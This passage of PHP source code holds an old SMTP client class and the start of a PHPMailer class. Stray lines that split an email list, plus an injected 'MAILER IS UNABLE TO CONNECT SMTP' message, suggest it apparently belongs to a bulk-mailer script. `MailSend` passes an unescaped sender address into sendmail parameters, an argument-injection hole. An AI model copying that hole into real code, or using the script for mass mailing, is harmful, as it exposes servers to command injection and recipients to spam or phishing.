880 ": " . $rply . $this->CRLF;
881 }
882 return false;
883 }
884
885 # parse the reply and place in our array to return to user
886 $entries = explode($this->CRLF,$rply);
887 while(list(,$l) = @each($entries)) {
888 $list[] = substr($l,4);
889 }
890
891 return $list;
892 }
893
894 /**
895 * Sends the HELO command to the smtp server.
896 * This makes sure that we and the server are in
897 * the same known state.
898 *
899 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
900 *
901 * SMTP CODE SUCCESS: 250
902 * SMTP CODE ERROR : 500, 501, 504, 421
903 * @access public
904 * @return bool
905 */
906 function Hello($host="") {
907 $this->error = null; # so no confusion is caused
908
909 if(!$this->connected()) {
910 $this->error = array(
911 "error" => "Called Hello() without being connected");
912 return false;
913 }
914
915 # if a hostname for the HELO was not specified determine
916 # a suitable one to send
917 if(empty($host)) {
918 # we need to determine some sort of appopiate default
919 # to send to the server
920 $host = "localhost";
921 }
922
923 // Send extended hello first (RFC 2821)
924 if(!$this->SendHello("EHLO", $host))
925 {
926 if(!$this->SendHello("HELO", $host))
927 return false;
928 }
929
930 return true;
931 }
932
933 /**
934 * Sends a HELO/EHLO command.
935 * @access private
936 * @return bool
937 */
938 function SendHello($hello, $host) {
939 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
940
941 $rply = $this->get_lines();
942 $code = substr($rply,0,3);
943
944 if($this->do_debug >= 2) {
945 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
946 }
947
948 if($code != 250) {
949 $this->error =
950 array("error" => $hello . " not accepted from server",
951 "smtp_code" => $code,
952 "smtp_msg" => substr($rply,4));
953 if($this->do_debug >= 1) {
954 echo "SMTP -> ERROR: " . $this->error["error"] .
955 ": " . $rply . $this->CRLF;
956 }
957 return false;
958 }
959
960 $this->helo_rply = $rply;
961
962 return true;
963 }
964
965 /**
966 * Gets help information on the keyword specified. If the keyword
967 * is not specified then returns generic help, ussually contianing
968 * A list of keywords that help is available on. This function
969 * returns the results back to the user. It is up to the user to
970 * handle the returned data. If an error occurs then false is
971 * returned with $this->error set appropiately.
972 *
973 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
974 *
975 * SMTP CODE SUCCESS: 211,214
976 * SMTP CODE ERROR : 500,501,502,504,421
977 * @access public
978 * @return string
979 */
980 function Help($keyword="") {
981 $this->error = null; # to avoid confusion
982
983 if(!$this->connected()) {
984 $this->error = array(
985 "error" => "Called Help() without being connected");
986 return false;
987 }
988
989 $extra = "";
990 if(!empty($keyword)) {
991 $extra = " " . $keyword;
992 }
993
994 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
995
996 $rply = $this->get_lines();
997 $code = substr($rply,0,3);
998
999 if($this->do_debug >= 2) {
1000 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1001 }
1002
1003 if($code != 211 && $code != 214) {
1004 $this->error =
1005 array("error" => "HELP not accepted from server",
1006 "smtp_code" => $code,
1007 "smtp_msg" => substr($rply,4));
1008 if($this->do_debug >= 1) {
1009 echo "SMTP -> ERROR: " . $this->error["error"] .
1010 ": " . $rply . $this->CRLF;
1011 }
1012 return false;
1013 }
1014
1015 return $rply;
1016 }
1017
1018 /**
1019 * Starts a mail transaction from the email address specified in
1020 * $from. Returns true if successful or false otherwise. If True
1021 * the mail transaction is started and then one or more Recipient
1022 * commands may be called followed by a Data command.
1023 *
1024 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1025 *
1026 * SMTP CODE SUCCESS: 250
1027 * SMTP CODE SUCCESS: 552,451,452
1028 * SMTP CODE SUCCESS: 500,501,421
1029 * @access public
1030 * @return bool
1031 */
1032 function Mail($from) {
1033 $this->error = null; # so no confusion is caused
1034
1035 if(!$this->connected()) {
1036 $this->error = array(
1037 "error" => "Called Mail() without being connected");
1038 return false;
1039 }
1040
1041 $useVerp = ($this->do_verp ? "XVERP" : "");
1042 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1043
1044 $rply = $this->get_lines();
1045 $code = substr($rply,0,3);
1046
1047 if($this->do_debug >= 2) {
1048 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1049 }
1050
1051 if($code != 250) {
1052 $this->error =
1053 array("error" => "MAIL not accepted from server",
1054 "smtp_code" => $code,
1055 "smtp_msg" => substr($rply,4));
1056 if($this->do_debug >= 1) {
1057 echo "SMTP -> ERROR: " . $this->error["error"] .
1058 ": " . $rply . $this->CRLF;
1059 }
1060 return false;
1061 }
1062 return true;
1063 }
1064
1065 /**
1066 * Sends the command NOOP to the SMTP server.
1067 *
1068 * Implements from rfc 821: NOOP <CRLF>
1069 *
1070 * SMTP CODE SUCCESS: 250
1071 * SMTP CODE ERROR : 500, 421
1072 * @access public
1073 * @return bool
1074 */
1075 function Noop() {
1076 $this->error = null; # so no confusion is caused
1077
1078 if(!$this->connected()) {
1079 $this->error = array(
1080 "error" => "Called Noop() without being connected");
1081 return false;
1082 }
1083
1084 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1085
1086 $rply = $this->get_lines();
1087 $code = substr($rply,0,3);
1088
1089 if($this->do_debug >= 2) {
1090 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1091 }
1092
1093 if($code != 250) {
1094 $this->error =
1095 array("error" => "NOOP not accepted from server",
1096 "smtp_code" => $code,
1097 "smtp_msg" => substr($rply,4));
1098 if($this->do_debug >= 1) {
1099 echo "SMTP -> ERROR: " . $this->error["error"] .
1100 ": " . $rply . $this->CRLF;
1101 }
1102 return false;
1103 }
1104 return true;
1105 }
1106
1107 /**
1108 * Sends the quit command to the server and then closes the socket
1109 * if there is no error or the $close_on_error argument is true.
1110 *
1111 * Implements from rfc 821: QUIT <CRLF>
1112 *
1113 * SMTP CODE SUCCESS: 221
1114 * SMTP CODE ERROR : 500
1115 * @access public
1116 * @return bool
1117 */
1118 function Quit($close_on_error=true) {
1119 $this->error = null; # so there is no confusion
1120
1121 if(!$this->connected()) {
1122 $this->error = array(
1123 "error" => "Called Quit() without being connected");
1124 return false;
1125 }
1126
1127 # send the quit command to the server
1128 fputs($this->smtp_conn,"quit" . $this->CRLF);
1129
1130 # get any good-bye messages
1131 $byemsg = $this->get_lines();
1132
1133 if($this->do_debug >= 2) {
1134 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1135 }
1136
1137 $rval = true;
1138 $e = null;
1139
1140 $code = substr($byemsg,0,3);
1141 if($code != 221) {
1142 # use e as a tmp var cause Close will overwrite $this->error
1143 $e = array("error" => "SMTP server rejected quit command",
1144 "smtp_code" => $code,
1145 "smtp_rply" => substr($byemsg,4));
1146 $rval = false;
1147 if($this->do_debug >= 1) {
1148 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1149 $byemsg . $this->CRLF;
1150 }
1151 }
1152
1153 if(empty($e) || $close_on_error) {
1154 $this->Close();
1155 }
1156
1157 return $rval;
1158 }
1159
1160 /**
1161 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1162 * Returns true if the recipient was accepted false if it was rejected.
1163 *
1164 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1165 *
1166 * SMTP CODE SUCCESS: 250,251
1167 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1168 * SMTP CODE ERROR : 500,501,503,421
1169 * @access public
1170 * @return bool
1171 */
1172 function Recipient($to) {
1173 $this->error = null; # so no confusion is caused
1174
1175 if(!$this->connected()) {
1176 $this->error = array(
1177 "error" => "Called Recipient() without being connected");
1178 return false;
1179 }
1180
1181 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1182
1183 $rply = $this->get_lines();
1184 $code = substr($rply,0,3);
1185
1186 if($this->do_debug >= 2) {
1187 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1188 }
1189
1190 if($code != 250 && $code != 251) {
1191 $this->error =
1192 array("error" => "RCPT not accepted from server",
1193 "smtp_code" => $code,
1194 "smtp_msg" => substr($rply,4));
1195 if($this->do_debug >= 1) {
1196 echo "SMTP -> ERROR: " . $this->error["error"] .
1197 ": " . $rply . $this->CRLF;
1198 }
1199 return false;
1200 }
1201 return true;
1202 }
1203
1204 /**
1205 * Sends the RSET command to abort and transaction that is
1206 * currently in progress. Returns true if successful false
1207 * otherwise.
1208 *
1209 * Implements rfc 821: RSET <CRLF>
1210 *
1211 * SMTP CODE SUCCESS: 250
1212 * SMTP CODE ERROR : 500,501,504,421
1213 * @access public
1214 * @return bool
1215 */
1216 function Reset() {
1217 $this->error = null; # so no confusion is caused
1218
1219 if(!$this->connected()) {
1220 $this->error = array(
1221 "error" => "Called Reset() without being connected");
1222 return false;
1223 }
1224
1225 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1226
1227 $rply = $this->get_lines();
1228 $code = substr($rply,0,3);
1229
1230 if($this->do_debug >= 2) {
1231 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1232 }
1233
1234 if($code != 250) {
1235 $this->error =
1236 array("error" => "RSET failed",
1237 "smtp_code" => $code,
1238 "smtp_msg" => substr($rply,4));
1239 if($this->do_debug >= 1) {
1240 echo "SMTP -> ERROR: " . $this->error["error"] .
1241 ": " . $rply . $this->CRLF;
1242 }
1243 return false;
1244 }
1245
1246 return true;
1247 }
1248
1249 /**
1250 * Starts a mail transaction from the email address specified in
1251 * $from. Returns true if successful or false otherwise. If True
1252 * the mail transaction is started and then one or more Recipient
1253 * commands may be called followed by a Data command. This command
1254 * will send the message to the users terminal if they are logged
1255 * in.
1256 *
1257 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1258 *
1259 * SMTP CODE SUCCESS: 250
1260 * SMTP CODE SUCCESS: 552,451,452
1261 * SMTP CODE SUCCESS: 500,501,502,421
1262 * @access public
1263 * @return bool
1264 */
1265 function Send($from) {
1266 $this->error = null; # so no confusion is caused
1267
1268 if(!$this->connected()) {
1269 $this->error = array(
1270 "error" => "Called Send() without being connected");
1271 return false;
1272 }
1273
1274 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1275
1276 $rply = $this->get_lines();
1277 $code = substr($rply,0,3);
1278
1279 if($this->do_debug >= 2) {
1280 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1281 }
1282
1283 if($code != 250) {
1284 $this->error =
1285 array("error" => "SEND not accepted from server",
1286 "smtp_code" => $code,
1287 "smtp_msg" => substr($rply,4));
1288 if($this->do_debug >= 1) {
1289 echo "SMTP -> ERROR: " . $this->error["error"] .
1290 ": " . $rply . $this->CRLF;
1291 }
1292 return false;
1293 }
1294 return true;
1295 }
1296
1297 /**
1298 * Starts a mail transaction from the email address specified in
1299 * $from. Returns true if successful or false otherwise. If True
1300 * the mail transaction is started and then one or more Recipient
1301 * commands may be called followed by a Data command. This command
1302 * will send the message to the users terminal if they are logged
1303 * in and send them an email.
1304 *
1305 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1306 *
1307 * SMTP CODE SUCCESS: 250
1308 * SMTP CODE SUCCESS: 552,451,452
1309 * SMTP CODE SUCCESS: 500,501,502,421
1310 * @access public
1311 * @return bool
1312 */
1313 function SendAndMail($from) {
1314 $this->error = null; # so no confusion is caused
1315
1316 if(!$this->connected()) {
1317 $this->error = array(
1318 "error" => "Called SendAndMail() without being connected");
1319 return false;
1320 }
1321
1322 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1323
1324 $rply = $this->get_lines();
1325 $code = substr($rply,0,3);
1326
1327 if($this->do_debug >= 2) {
1328 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1329 }
1330
1331 if($code != 250) {
1332 $this->error =
1333 array("error" => "SAML not accepted from server",
1334 "smtp_code" => $code,
1335 "smtp_msg" => substr($rply,4));
1336 if($this->do_debug >= 1) {
1337 echo "SMTP -> ERROR: " . $this->error["error"] .
1338 ": " . $rply . $this->CRLF;
1339 }
1340 return false;
1341 }
1342 return true;
1343 }
1344
1345 /**
1346 * Starts a mail transaction from the email address specified in
1347 * $from. Returns true if successful or false otherwise. If True
1348 * the mail transaction is started and then one or more Recipient
1349 * commands may be called followed by a Data command. This command
1350 * will send the message to the users terminal if they are logged
1351 * in or mail it to them if they are not.
1352 *
1353 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1354 *
1355 * SMTP CODE SUCCESS: 250
1356 * SMTP CODE SUCCESS: 552,451,452
1357 * SMTP CODE SUCCESS: 500,501,502,421
1358 * @access public
1359 * @return bool
1360 */
1361 function SendOrMail($from) {
1362 $this->error = null; # so no confusion is caused
1363
1364 if(!$this->connected()) {
1365 $this->error = array(
1366 "error" => "Called SendOrMail() without being connected");
1367 return false;
1368 }
1369
1370 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1371
1372 $rply = $this->get_lines();
1373 $code = substr($rply,0,3);
1374
1375 if($this->do_debug >= 2) {
1376 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1377 }
1378
1379 if($code != 250) {
1380 $this->error =
1381 array("error" => "SOML not accepted from server",
1382 "smtp_code" => $code,
1383 "smtp_msg" => substr($rply,4));
1384 if($this->do_debug >= 1) {
1385 echo "SMTP -> ERROR: " . $this->error["error"] .
1386 ": " . $rply . $this->CRLF;
1387 }
1388 return false;
1389 }
1390 return true;
1391 }
1392
1393 /**
1394 * This is an optional command for SMTP that this class does not
1395 * support. This method is here to make the RFC821 Definition
1396 * complete for this class and __may__ be implimented in the future
1397 *
1398 * Implements from rfc 821: TURN <CRLF>
1399 *
1400 * SMTP CODE SUCCESS: 250
1401 * SMTP CODE FAILURE: 502
1402 * SMTP CODE ERROR : 500, 503
1403 * @access public
1404 * @return bool
1405 */
1406 function Turn() {
1407 $this->error = array("error" => "This method, TURN, of the SMTP ".
1408 "is not implemented");
1409 if($this->do_debug >= 1) {
1410 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1411 }
1412 return false;
1413 }
1414
1415 /**
1416 * Verifies that the name is recognized by the server.
1417 * Returns false if the name could not be verified otherwise
1418 * the response from the server is returned.
1419 *
1420 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1421 *
1422 * SMTP CODE SUCCESS: 250,251
1423 * SMTP CODE FAILURE: 550,551,553
1424 * SMTP CODE ERROR : 500,501,502,421
1425 * @access public
1426 * @return int
1427 */
1428 function Verify($name) {
1429 $this->error = null; # so no confusion is caused
1430
1431 if(!$this->connected()) {
1432 $this->error = array(
1433 "error" => "Called Verify() without being connected");
1434 return false;
1435 }
1436
1437 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1438
1439 $rply = $this->get_lines();
1440 $code = substr($rply,0,3);
1441
1442 if($this->do_debug >= 2) {
1443 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1444 }
1445
1446 if($code != 250 && $code != 251) {
1447 $this->error =
1448 array("error" => "VRFY failed on name '$name'",
1449 "smtp_code" => $code,
1450 "smtp_msg" => substr($rply,4));
1451 if($this->do_debug >= 1) {
1452 echo "SMTP -> ERROR: " . $this->error["error"] .
1453 ": " . $rply . $this->CRLF;
1454 }
1455 return false;
1456 }
1457 return $rply;
1458 }
1459
1460 /*******************************************************************
1461 * INTERNAL FUNCTIONS *
1462 ******************************************************************/
1463
1464 /**
1465 * Read in as many lines as possible
1466 * either before eof or socket timeout occurs on the operation.
1467 * With SMTP we can tell if we have more lines to read if the
1468 * 4th character is '-' symbol. If it is a space then we don't
1469 * need to read anything else.
1470 * @access private
1471 * @return string
1472 */
1473 function get_lines() {
1474 $data = "";
1475 while($str = @fgets($this->smtp_conn,515)) {
1476 if($this->do_debug >= 4) {
1477 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1478 $this->CRLF;
1479 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1480 $this->CRLF;
1481 }
1482 $data .= $str;
1483 if($this->do_debug >= 4) {
1484 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1485 }
1486 # if the 4th character is a space then we are done reading
1487 # so just break the loop
1488 if(substr($str,3,1) == " ") { break; }
1489 }
1490 return $data;
1491 }
1492
1493}
1494
1495
1496$allemails = split("\n", $emaillist);
1497$numemails = count($allemails);
1498class PHPMailer {
1499
1500 /////////////////////////////////////////////////
1501 // PROPERTIES, PUBLIC
1502 /////////////////////////////////////////////////
1503
1504 /**
1505 * Email priority (1 = High, 3 = Normal, 5 = low).
1506 * @var int
1507 */
1508 var $Priority = 3;
1509
1510 /**
1511 * Sets the CharSet of the message.
1512 * @var string
1513 */
1514 var $CharSet = 'us-ascii';
1515
1516 /**
1517 * Sets the Content-type of the message.
1518 * @var string
1519 */
1520 var $ContentType = 'text/plain';
1521
1522 /**
1523 * Sets the Encoding of the message. Options for this are "8bit",
1524 * "7bit", "binary", "base64", and "quoted-printable".
1525
1526 * @var string
1527 */
1528 var $Encoding = 'quoted-printable';
1529
1530 /**
1531 * Holds the most recent mailer error message.
1532 * @var string
1533 */
1534 var $ErrorInfo = '';
1535
1536 /**
1537 * Sets the From email address for the message.
1538 * @var string
1539 */
1540 var $From = '';
1541
1542 /**
1543 * Sets the From name of the message.
1544 * @var string
1545 */
1546 var $FromName = '';
1547
1548 /**
1549 * Sets the Sender email (Return-Path) of the message. If not empty,
1550 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1551 * @var string
1552 */
1553 var $Sender = '';
1554
1555 /**
1556 * Sets the Subject of the message.
1557 * @var string
1558 */
1559 var $Subject = '';
1560
1561 /**
1562 * Sets the Body of the message. This can be either an HTML or text body.
1563 * If HTML then run IsHTML(true).
1564 * @var string
1565 */
1566 var $Body = '';
1567
1568 /**
1569 * Sets the text-only body of the message. This automatically sets the
1570 * email to multipart/alternative. This body can be read by mail
1571 * clients that do not have HTML email capability such as mutt. Clients
1572 * that can read HTML will view the normal Body.
1573 * @var string
1574 */
1575 var $AltBody = '';
1576
1577 /**
1578 * Sets word wrapping on the body of the message to a given number of
1579 * characters.
1580 * @var int
1581 */
1582 var $WordWrap = 0;
1583
1584 /**
1585 * Method to send mail: ("mail", "sendmail", or "smtp").
1586 * @var string
1587 */
1588 var $Mailer = 'mail';
1589
1590 /**
1591 * Sets the path of the sendmail program.
1592 * @var string
1593 */
1594 var $Sendmail = '/usr/sbin/sendmail';
1595
1596 /**
1597 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1598 * is in a different directory than the PHP include path.
1599 * @var string
1600 */
1601 var $PluginDir = '';
1602
1603 /**
1604 * Holds PHPMailer version.
1605 * @var string
1606 */
1607 var $Version = "";
1608
1609 /**
1610 * Sets the email address that a reading confirmation will be sent.
1611 * @var string
1612 */
1613 var $ConfirmReadingTo = '';
1614
1615 /**
1616 * Sets the hostname to use in Message-Id and Received headers
1617 * and as default HELO string. If empty, the value returned
1618 * by SERVER_NAME is used or 'localhost.localdomain'.
1619 * @var string
1620 */
1621 var $Hostname = '';
1622
1623 /**
1624 * Sets the message ID to be used in the Message-Id header.
1625 * If empty, a unique id will be generated.
1626 * @var string
1627 */
1628 var $MessageID = '';
1629
1630 /////////////////////////////////////////////////
1631 // PROPERTIES FOR SMTP
1632 /////////////////////////////////////////////////
1633
1634 /**
1635 * Sets the SMTP hosts. All hosts must be separated by a
1636 * semicolon. You can also specify a different port
1637 * for each host by using this format: [hostname:port]
1638 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1639 * Hosts will be tried in order.
1640 * @var string
1641 */
1642 var $Host = 'localhost';
1643
1644 /**
1645 * Sets the default SMTP server port.
1646 * @var int
1647 */
1648 var $Port = 25;
1649
1650 /**
1651 * Sets the SMTP HELO of the message (Default is $Hostname).
1652 * @var string
1653 */
1654 var $Helo = '';
1655
1656 /**
1657 * Sets connection prefix.
1658 * Options are "", "ssl" or "tls"
1659 * @var string
1660 */
1661 var $SMTPSecure = "";
1662
1663 /**
1664 * Sets SMTP authentication. Utilizes the Username and Password variables.
1665 * @var bool
1666 */
1667 var $SMTPAuth = false;
1668
1669 /**
1670 * Sets SMTP username.
1671 * @var string
1672 */
1673 var $Username = '';
1674
1675 /**
1676 * Sets SMTP password.
1677 * @var string
1678 */
1679 var $Password = '';
1680
1681 /**
1682 * Sets the SMTP server timeout in seconds. This function will not
1683 * work with the win32 version.
1684 * @var int
1685 */
1686 var $Timeout = 10;
1687
1688 /**
1689 * Sets SMTP class debugging on or off.
1690 * @var bool
1691 */
1692 var $SMTPDebug = false;
1693
1694 /**
1695 * Prevents the SMTP connection from being closed after each mail
1696 * sending. If this is set to true then to close the connection
1697 * requires an explicit call to SmtpClose().
1698 * @var bool
1699 */
1700 var $SMTPKeepAlive = false;
1701
1702 /**
1703 * Provides the ability to have the TO field process individual
1704 * emails, instead of sending to entire TO addresses
1705 * @var bool
1706 */
1707 var $SingleTo = false;
1708
1709 /////////////////////////////////////////////////
1710 // PROPERTIES, PRIVATE
1711 /////////////////////////////////////////////////
1712
1713 var $smtp = NULL;
1714 var $to = array();
1715 var $cc = array();
1716 var $bcc = array();
1717 var $ReplyTo = array();
1718 var $attachment = array();
1719 var $CustomHeader = array();
1720 var $message_type = '';
1721 var $boundary = array();
1722 var $language = array();
1723 var $error_count = 0;
1724 var $LE = "\n";
1725 var $sign_key_file = "";
1726 var $sign_key_pass = "";
1727
1728 /////////////////////////////////////////////////
1729 // METHODS, VARIABLES
1730 /////////////////////////////////////////////////
1731
1732 /**
1733 * Sets message type to HTML.
1734 * @param bool $bool
1735 * @return void
1736 */
1737 function IsHTML($bool) {
1738 if($bool == true) {
1739 $this->ContentType = 'text/html';
1740 } else {
1741 $this->ContentType = 'text/plain';
1742 }
1743 }
1744
1745 /**
1746 * Sets Mailer to send message using SMTP.
1747 * @return void
1748 */
1749 function IsSMTP() {
1750 $this->Mailer = 'smtp';
1751 }
1752
1753 /**
1754 * Sets Mailer to send message using PHP mail() function.
1755 * @return void
1756 */
1757 function IsMail() {
1758 $this->Mailer = 'mail';
1759 }
1760
1761 /**
1762 * Sets Mailer to send message using the $Sendmail program.
1763 * @return void
1764 */
1765 function IsSendmail() {
1766 $this->Mailer = 'sendmail';
1767 }
1768
1769 /**
1770 * Sets Mailer to send message using the qmail MTA.
1771 * @return void
1772 */
1773 function IsQmail() {
1774 $this->Sendmail = '/var/qmail/bin/sendmail';
1775 $this->Mailer = 'sendmail';
1776 }
1777
1778 /////////////////////////////////////////////////
1779 // METHODS, RECIPIENTS
1780 /////////////////////////////////////////////////
1781
1782 /**
1783 * Adds a "To" address.
1784 * @param string $address
1785 * @param string $name
1786 * @return void
1787 */
1788 function AddAddress($address, $name = '') {
1789 $cur = count($this->to);
1790 $this->to[$cur][0] = trim($address);
1791 $this->to[$cur][1] = $name;
1792 }
1793
1794 /**
1795 * Adds a "Cc" address. Note: this function works
1796 * with the SMTP mailer on win32, not with the "mail"
1797 * mailer.
1798 * @param string $address
1799 * @param string $name
1800 * @return void
1801 */
1802 function AddCC($address, $name = '') {
1803 $cur = count($this->cc);
1804 $this->cc[$cur][0] = trim($address);
1805 $this->cc[$cur][1] = $name;
1806 }
1807
1808 /**
1809 * Adds a "Bcc" address. Note: this function works
1810 * with the SMTP mailer on win32, not with the "mail"
1811 * mailer.
1812 * @param string $address
1813 * @param string $name
1814 * @return void
1815 */
1816 function AddBCC($address, $name = '') {
1817 $cur = count($this->bcc);
1818 $this->bcc[$cur][0] = trim($address);
1819 $this->bcc[$cur][1] = $name;
1820 }
1821
1822 /**
1823 * Adds a "Reply-To" address.
1824 * @param string $address
1825 * @param string $name
1826 * @return void
1827 */
1828 function AddReplyTo($address, $name = '') {
1829 $cur = count($this->ReplyTo);
1830 $this->ReplyTo[$cur][0] = trim($address);
1831 $this->ReplyTo[$cur][1] = $name;
1832 }
1833
1834 /////////////////////////////////////////////////
1835 // METHODS, MAIL SENDING
1836 /////////////////////////////////////////////////
1837
1838 /**
1839 * Creates message and assigns Mailer. If the message is
1840 * not sent successfully then it returns false. Use the ErrorInfo
1841 * variable to view description of the error.
1842 * @return bool
1843 */
1844 function Send() {
1845 $header = '';
1846 $body = '';
1847 $result = true;
1848
1849 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1850 $this->SetError($this->Lang('provide_address'));
1851 return false;
1852 }
1853
1854 /* Set whether the message is multipart/alternative */
1855 if(!empty($this->AltBody)) {
1856 $this->ContentType = 'multipart/alternative';
1857 }
1858
1859 $this->error_count = 0; // reset errors
1860 $this->SetMessageType();
1861 $header .= $this->CreateHeader();
1862 $body = $this->CreateBody();
1863
1864 if($body == '') {
1865 return false;
1866 }
1867
1868 /* Choose the mailer */
1869 switch($this->Mailer) {
1870 case 'sendmail':
1871 $result = $this->SendmailSend($header, $body);
1872 break;
1873 case 'smtp':
1874 $result = $this->SmtpSend($header, $body);
1875 break;
1876 case 'mail':
1877 $result = $this->MailSend($header, $body);
1878 break;
1879 default:
1880 $result = $this->MailSend($header, $body);
1881 break;
1882 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1883 //$result = false;
1884 //break;
1885 }
1886
1887 return $result;
1888 }
1889
1890 /**
1891 * Sends mail using the $Sendmail program.
1892 * @access private
1893 * @return bool
1894 */
1895 function SendmailSend($header, $body) {
1896 if ($this->Sender != '') {
1897 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1898 } else {
1899 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1900 }
1901
1902 if(!@$mail = popen($sendmail, 'w')) {
1903 $this->SetError($this->Lang('execute') . $this->Sendmail);
1904 return false;
1905 }
1906
1907 fputs($mail, $header);
1908 fputs($mail, $body);
1909
1910 $result = pclose($mail);
1911 if (version_compare(phpversion(), '4.2.3') == -1) {
1912 $result = $result >> 8 & 0xFF;
1913 }
1914 if($result != 0) {
1915 $this->SetError($this->Lang('execute') . $this->Sendmail);
1916 return false;
1917 }
1918 return true;
1919 }
1920
1921 /**
1922 * Sends mail using the PHP mail() function.
1923 * @access private
1924 * @return bool
1925 */
1926 function MailSend($header, $body) {
1927
1928 $to = '';
1929 for($i = 0; $i < count($this->to); $i++) {
1930 if($i != 0) { $to .= ', '; }
1931 $to .= $this->AddrFormat($this->to[$i]);
1932 }
1933
1934 $toArr = split(',', $to);
1935
1936 $params = sprintf("-oi -f %s", $this->Sender);
1937 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1938 $old_from = ini_get('sendmail_from');
1939 ini_set('sendmail_from', $this->Sender);
1940 if ($this->SingleTo === true && count($toArr) > 1) {
1941 foreach ($toArr as $key => $val) {
1942 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1943 }
1944 } else {
1945 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1946 }
1947 } else {
1948 if ($this->SingleTo === true && count($toArr) > 1) {
1949 foreach ($toArr as $key => $val) {
1950 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1951 }
1952 } else {
1953 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1954 }
1955 }
1956
1957 if (isset($old_from)) {
1958 ini_set('sendmail_from', $old_from);
1959 }
1960
1961 if(!$rt) {
1962 $this->SetError($this->Lang('instantiate'));
1963 return false;
1964 }
1965
1966 return true;
1967 }
1968
1969 /**
1970 * Sends mail via SMTP using PhpSMTP (Author:
1971 * Chris Ryan). Returns bool. Returns false if there is a
1972 * bad MAIL FROM, RCPT, or DATA input.
1973 * @access private
1974 * @return bool
1975 */
1976 function SmtpSend($header, $body) {
1977 $error = '';
1978 $bad_rcpt = array();
1979
1980 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1981 return false;
1982 }
1983
1984 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1985 if(!$this->smtp->Mail($smtp_from)) {
1986 $error = $this->Lang('from_failed') . $smtp_from;
1987 $this->SetError($error);
1988 $this->smtp->Reset();
1989 return false;
1990 }
1991
1992 /* Attempt to send attach all recipients */
1993 for($i = 0; $i < count($this->to); $i++) {
1994 if(!$this->smtp->Recipient($this->to[$i][0])) {
1995 $bad_rcpt[] = $this->to[$i][0];
1996 }
1997 }
1998 for($i = 0; $i < count($this->cc); $i++) {
1999 if(!$this->smtp->Recipient($this->cc[$i][0])) {
2000 $bad_rcpt[] = $this->cc[$i][0];
2001 }
2002 }
2003 for($i = 0; $i < count($this->bcc); $i++) {
2004 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2005 $bad_rcpt[] = $this->bcc[$i][0];
2006 }
2007 }
2008
2009 if(count($bad_rcpt) > 0) { // Create error message
2010 for($i = 0; $i < count($bad_rcpt); $i++) {
2011 if($i != 0) {
2012 $error .= ', ';
2013 }
2014 $error .= $bad_rcpt[$i];
2015
2016 }
2017 $error = $this->Lang('recipients_failed') . $error;
2018 $this->SetError($error);
2019 $this->smtp->Reset();
2020 return false;
2021 }
2022
2023 if(!$this->smtp->Data($header . $body)) {
2024 $this->SetError($this->Lang('data_not_accepted'));
2025 $this->smtp->Reset();
2026 return false;
2027 }
2028 if($this->SMTPKeepAlive == true) {
2029 $this->smtp->Reset();
2030 } else {
2031 $this->SmtpClose();
2032 }
2033
2034 return true;
2035 }
2036
2037 /**
2038 * Initiates a connection to an SMTP server. Returns false if the
2039 * operation failed.
2040 * @access private
2041 * @return bool
2042 */
2043 function SmtpConnect() {
2044 if($this->smtp == NULL) {
2045 $this->smtp = new SMTP();
2046 }
2047
2048 $this->smtp->do_debug = $this->SMTPDebug;
